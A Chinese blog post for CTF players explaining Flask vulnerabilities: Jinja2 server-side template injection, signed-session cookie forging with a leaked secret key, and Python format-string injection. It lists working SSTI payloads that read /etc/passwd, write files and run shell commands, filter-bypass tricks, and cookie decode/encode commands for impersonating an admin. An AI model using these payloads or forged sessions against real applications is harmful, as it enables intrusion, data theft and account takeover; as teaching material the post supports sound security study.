flask框架漏洞

在ctf里遇到了关于flask框架漏洞的题,此篇博文较为详细
转自https://www.jianshu.com/p/56614e46093e

一、简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。Flask 依赖两个外部库: Jinja2模板引擎和WSGI 工具集。

1、常用概念

  • WSGI 只是一种接口,它只适用于 Python 语言,其全称为 Web Server Gateway Interface,定义了 web服务器和 web应用之间的接口规范。也就是说,只要 web服务器和 web应用都遵守WSGI协议,那么 web服务器和 web应用就可以随意的组合。
  • flask使用Jinja作为模板语言,模板应该放在myapp/templates/——一个在应用文件夹里面的目录。Jinja有两种定界符:{% … %}和{{ … }}。前者用于执行类似循环或赋值的语句,后者向模板输出表达式求值的结果。

2、jinja2

from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    code = request.args.get('test')
    html = '<html>%s</html>'
    return html%code
  • flask使用的渲染引擎是Jinja2,我们可以直接return一些HTML代码来实现网页的格式化,但是这样会导致XSS漏洞.。
  • 为了避免XSS,可以使用render_tempplate_string对输入的文本进行渲染。
from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    html='<html>{{var}}<html>'
    test = request.args.get('test')
    return render_template_string(html,var=test)
</html></html>
  • {{}}为变量包裹标示符,在render_template_string传参即可替换{{var}}为GET传参变量test,再次进行XSS实验,可以看到已经被转义了。
  • 可以借助render_template从templates文件夹中加载我们想要的html文件,然后对里面的内容进行修改输出。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
    <h1>this is template html file</h1>
    <p>get var {{var}}</p><p>
</p></body>
</html>
from flask import Flask,render_template

app=Flask(__name__)

@app.route('/')
def test():
    return render_template('index.html',var="test")
  • 使用render_template函数引用了templates文件夹下面的index.html模板,然后传入一个参数var,用来控制模板中的{{var}}。

二、SSTI漏洞

SSTI(Server-Side Template Injection) 服务端模板注入
,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。

1、基础知识

  • 在jinja2中,存在三种语句:控制结构 {% %}、变量取值 {{ }}、注释 {# #}。
  • jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。
  • 在Jinja2引擎中,{{}}不仅仅是变量标示符,也能执行一些简单的表达式。
  • 模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

2、漏洞成因

将参数当字符串来渲染并且使用了%(request.url)导致模版渲染可控。如下:

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div>
    ''' %(request.url)

    return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

漏洞代码使用了render_template_string函数,而如果使用render_template函数,将变量传入进去,经过固定模版的渲染便不可控了。

3、漏洞利用

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

(1)类说明

  • 在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。
  • class,返回当前对象所属的类。
  • basebases 作用都是返回当前类所继承的类,即基类,区别是base返回单个,bases以元组形式返回所有基类。
  • mro给出了method resolution order,即解析方法调用的顺序。以元组形式返回继承关系链。
  • 在python中,每个类都有一个bases属性,列出其基类。
  • mro给出了method resolution order,即解析方法调用的顺序。
  • subclasses() 方法返回的是这个类的子类的集合,也就是object类的子类的集合。
  • globals以dict形式返回函数所在模块命名空间中的所有变量。
    可以通过dir(object)列出python 3.6 版本下的object类下的方法集合。这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。需要自己寻找合适的标号来调用。POC的编写就是需要找到合适的类,然后从合适的类中寻找我们需要的方法。
    (2)寻找方法

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。

可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

1、获取’‘的类对象:''.__class__
2、追溯继承树:''.__class__.__mro__
3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()
4、找到可执行命令或者读文件的方法,找到第40个为<type> 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

(3)常用payload
经常会有paylaod打不通的情况类所在的索引随环境变换而不一样,下标也应随之改变,所以打不通可以再找一个能利用的类。

构造继承链的思路是
1)随便找一个内置类对象用class拿到他所对应的类
2)用bases拿到基类(

python3
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

python2
- 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
- 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 
- 
python2、python3共有,可命令执行:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

一些绕过tips

(1)过滤[]等括号

使用gititem绕过。如原poc {{"".class.bases[0]}}
绕过后{{"".class.bases.getitem(0)}}

(2)过滤了subclasses,拼凑法

原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]['subcla'+'sses']}}

(3)过滤class,使用session

poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}

(4)timeit姿势

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

三、session漏洞

1、介绍

客户端请求服务端时,服务端会为客户端创建一个Session,并检查请求中是否包含Session ID。一般来说,Session ID则以Cookie的形式保存在客户端。但这种方式有一个弊端就是如果客户端禁用了Cookie,那么Session机制将无法正常工作。
session介绍

2、flask session

将session存储在客户端cookie中,最重要的就是解决session不能被篡改的问题。

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

(1)flask session 分析
flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。

.eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw
  • 通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
  • 服务端每次收到cookie后,会将cookie中前两段取出和secretkey做sha1运算,若结果与cookie第三段不一致则视为无效。
  • 从cookie获取session的过程便是验证签名->验证是否过期->解码。

(2)漏洞成因
漏洞的根源是secretkey被获取,应当使用完全随机的secretkey,或在clone某项目后修改为随机的key。

需要特别注意的是python2与python3下产生的timestamp是不一样的!!

(3)利用工具:

  • 网址:(https://github.com/noraj/flask-session-cookie-manager)
  • 通过上述脚本解密处 session ,我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ,进而伪造任意用户身份,扩大攻击效果。

四、格式化字符串问题

在 python 中,提供了 4种 主要的格式化字符串方式。

1、第一种:%操作符

%操作符 沿袭C语言中printf语句的风格。

>>> name = 'Bob'
>>> 'Hello, %s' % name
"Hello, Bob"

2、第二种:string.Template

使用标准库中的模板字符串类进行字符串格式化。

>>> name = 'Bob'
>>> from string import Template
>>> t = Template('Hey, $name!')
>>> t.substitute(name=name)
'Hey, Bob!'

3、第三种:调用format方法

python3后引入的新版格式化字符串写法,但是这种写法存在安全隐患。

>>> name , errno = 'Bob' , 50159747054
>>> 'Hello, {}'.format(name)
'Hello, Bob'
>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)
'Hey Bob, there is a 0xbadc0ffee error!'

安全隐患事例如下:

>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
...  def __init__(self, name):
...   self.name = name
...

>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"

如果用来格式化的字符串可以被控制,攻击者就可以通过注入特殊变量,带出敏感数据。

4、第四种:f-Strings

这是python3.6之后新增的一种格式化字符串方式,即’``'其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。

>>> a , b = 5 , 10
>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
'Five plus ten is 15 and not 30.'
>>> f'{__import__("os").system("id")}'
uid=0(root) gid=0(root) groups=0(root)
'0'

五、实例

1、题目来源:UCAS七月月赛(web-flask)
2、题目考点:flask ssti、flask session伪造
3、解题思路:
(1)得到secret_key:
secret_key
(2)session伪造admin,得到flag路径:
session伪造
其中,_user_id可能是需要伪造的点,猜想admin的_user_id为1;

解密:
python flask_session_cookie_manager2.py decode -c .eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw

{"_fresh":false,"csrf_token":"a0972006ffd82895b5dad41252d08181f3fc0c8a"}

{"_fresh":true,"_id":"8cad7b1ad02df8a6ee29fb7af227cad84106dfcf5429ca40088b7d033ce478b074f8151ca9178c0898d1fd9b39af66919f512f5696104506ab32417900640dff","_user_id":"12","csrf_token":"757ffa1597fc9644a1afdaa8704bef740cfd44c9"}

加密
python flask_session_cookie_manager2.py encode -s '9RqazxdzNwq721!nOodK3*' -t "{u'_fresh': True,u'_id': u'8cad7b1ad02df8a6ee29fb7af227cad84106dfcf5429ca40088b7d033ce478b074f8151ca9178c0898d1fd9b39af66919f512f5696104506ab32417900640dff',u'_user_id': u'1',u'csrf_token': u'757ffa1597fc9644a1afdaa8704bef740cfd44c9'}"

(3)SSTI读/home/flag.txt

SSTI

参考

1、https://www.cnblogs.com/Rasang/p/12181654.html
2、https://xz.aliyun.com/t/3679
3、https://www.shangyexinzhi.com/article/1914048.html
4、https://github.com/mez-0/ssti-payload
5、https://www.jianshu.com/p/a1d6ae580add
6、https://www.cnblogs.com/hackxf/p/10480071.html
7、https://zgao.top/flask之ssti服务端模版注入漏洞分析/
8、https://wh0ale.github.io/2019/01/17/2019-1-17-session漏洞/
9、flask源码解析
10、客户端session导致的安全问题
10、https://www.anquanke.com/post/id/163975
11、https://mochazz.github.io/2018/12/11/python web之flask session&格式化字符串漏洞/#案例分析

  • 7
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Flask框架中的RCE (Remote Code Execution) 指的是通过远程执行恶意代码来利用Flask应用程序中的漏洞。这可能导致攻击者获取应用程序的控制权,并执行恶意操作。 在CTF比赛中遇到Flask框架漏洞的题目时,可以参考一篇详细的博文来了解有关该漏洞的更多信息。这篇博文可能提供了关于Flask框架的介绍、应用程序的结构和配置等方面的详细内容。 在Flask应用程序中,应用程序的所有内容,如配置和URL,都会在Flask类的一个实例上进行注册。这个实例是Flask应用程序的核心,通过使用这个实例,可以注册路由、配置数据库以及其他应用程序的功能。 在Flask框架中,为了确保应用程序的正确运行,可能需要进行一些额外的配置操作。例如,在MANIFEST.in文件中可以指定所需的文件和目录,以确保在Flask应用程序中使用时能够正确加载。 为了创建一个Flask应用程序,需要在一个名为"flaskr"的目录中创建一个"_init_.py"文件。这个文件具有两个重要的目的:一方面,它将包含应用程序工厂,用于创建和配置Flask应用程序;另一方面,它会告诉Python将"flaskr"目录视为一个包。 综上所述,Flask框架RCE漏洞是指通过远程执行恶意代码来利用Flask应用程序中的漏洞。在CTF比赛中遇到此类漏洞时,可以参考相关资源如博文和代码示例来深入理解和解决此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值